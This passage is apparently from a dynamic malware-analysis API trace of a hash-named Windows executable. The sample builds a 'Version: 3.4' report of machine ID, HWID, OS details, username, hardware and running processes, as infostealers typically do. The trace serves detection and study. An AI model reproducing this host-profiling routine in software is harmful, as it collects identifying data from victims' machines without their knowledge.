memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- "
[0054.868] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- ", lpString2="growth_city.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe"
[0054.868] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe ["
[0054.868] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da78
[0054.868] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67dac8
[0054.869] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.869] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [", lpString2="1732" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732"
[0054.869] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n"
[0054.869] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="politicseventtime.exe")) returned 1
[0054.869] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- 